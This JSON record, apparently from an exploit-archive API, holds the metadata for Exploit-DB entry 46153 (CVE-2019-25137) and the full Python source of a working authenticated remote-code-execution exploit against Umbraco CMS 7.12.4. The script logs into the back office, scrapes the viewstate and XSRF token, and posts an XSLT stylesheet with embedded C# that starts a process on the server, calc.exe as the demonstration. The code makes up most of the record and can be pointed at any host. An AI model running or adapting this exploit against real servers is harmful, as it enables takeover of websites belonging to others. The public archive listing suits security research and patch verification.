{"exploit":{"id":"EDB-46153","name":"Umbraco CMS 7.12.4 - Authenticated Remote Code Execution (RCE) (1)","description":"Umbraco CMS 7.12.4 - Authenticated Remote Code Execution (RCE) (1)","cves":["CVE-2019-25137"],"author":"Gregory Draperi","published":"2019-01-14","platform":"aspx","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/46153","path":"exploits/aspx/webapps/46153.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-46153.py","vulnerabilities":[{"id":"CVE-2019-25137","state":"PUBLISHED","title":null,"titleSource":null,"description":"Umbraco CMS 4.11.8 through 7.15.10, and 7.12.4, allows Remote Code Execution by authenticated administrators via msxsl:script in an xsltSelection to developer/Xslt/xsltVisualize.aspx.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-25137","cvss":{"version":"3.1","baseScore":7.2,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-25137"},"updatedAt":"2025-01-22T16:43:41.293Z","retrievedAt":"2026-11-26T11:56:14.312Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-46153.png?v=2","url":"https://exploitbin.com/exploits/EDB-46153","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-46153/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-46153/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Umbraco CMS - Remote Code Execution by authenticated administrators\n# Dork: N/A\n# Date: 2019-01-13\n# Exploit Author: Gregory DRAPERI & Hugo BOUTINON\n# Vendor Homepage: http://www.umbraco.com/\n# Software Link: https://our.umbraco.com/download/releases\n# Version: 7.12.4\n# Category: Webapps\n# Tested on: Windows IIS\n# CVE: N/A\n\n\nimport requests;\n\nfrom bs4 import BeautifulSoup;\n\ndef print_dict(dico):\n    print(dico.items());\n\nprint(\"Start\");\n\n# Execute a calc for the PoC\npayload = '<?xml version=\"1.0\"?><xsl:stylesheet version=\"1.0\" \\\nxmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:msxsl=\"urn:schemas-microsoft-com:xslt\" \\\nxmlns:csharp_user=\"http://csharp.mycompany.com/mynamespace\">\\\n<msxsl:script language=\"C#\" implements-prefix=\"csharp_user\">public string xml() \\\n{ string cmd = \"\"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\\\n proc.StartInfo.FileName = \"calc.exe\"; proc.StartInfo.Arguments = cmd;\\\n proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \\\n proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \\\n </msxsl:script><xsl:template match=\"/\"> <xsl:value-of select=\"csharp_user:xml()\"/>\\\n </xsl:template> </xsl:stylesheet> ';\n\nlogin = \"XXXX;\npassword=\"XXXX\";\nhost = \"XXXX\";\n\n# Step 1 - Get Main page\ns = requests.session()\nurl_main =host+\"/umbraco/\";\nr1 = s.get(url_main);\nprint_dict(r1.cookies);\n\n# Step 2 - Process Login\nurl_login = host+\"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin\";\nloginfo = {\"username\":login,\"password\":password};\nr2 = s.post(url_login,json=loginfo);\n\n# Step 3 - Go to vulnerable web page\nurl_xslt = host+\"/umbraco/developer/Xslt/xsltVisualize.aspx\";\nr3 = s.get(url_xslt);\n\nsoup = BeautifulSoup(r3.text, 'html.parser');\nVIEWSTATE = soup.find(id=\"__VIEWSTATE\")['value'];\nVIEWSTATEGENERATOR = soup.find(id=\"__VIEWSTATEGENERATOR\")['value'];\nUMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'];\nheaders = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN};\ndata = {\"__EVENTTARGET\":\"\",\"__EVENTARGUMENT\":\"\",\"__VIEWSTATE\":VIEWSTATE,\"__VIEWSTATEGENERATOR\":VIEWSTATEGENERATOR,\"ctl00$body$xsltSelection\":payload,\"ctl00$body$contentPicker$ContentIdValue\":\"\",\"ctl00$body$visualizeDo\":\"Visualize+XSLT\"};\n\n# Step 4 - Launch the attack\nr4 = s.post(url_xslt,data=data,headers=headers);\n\nprint(\"End\");","sha256":"31dbd9c942d5f0715ce1a830b6b7e262a5d50f4fe435d32ea1f3a85f8fe84561","bytes":2312,"fetchedAt":"2026-11-27T04:07:45.700Z","encoding":"utf-8 (display only; download retains original bytes)"}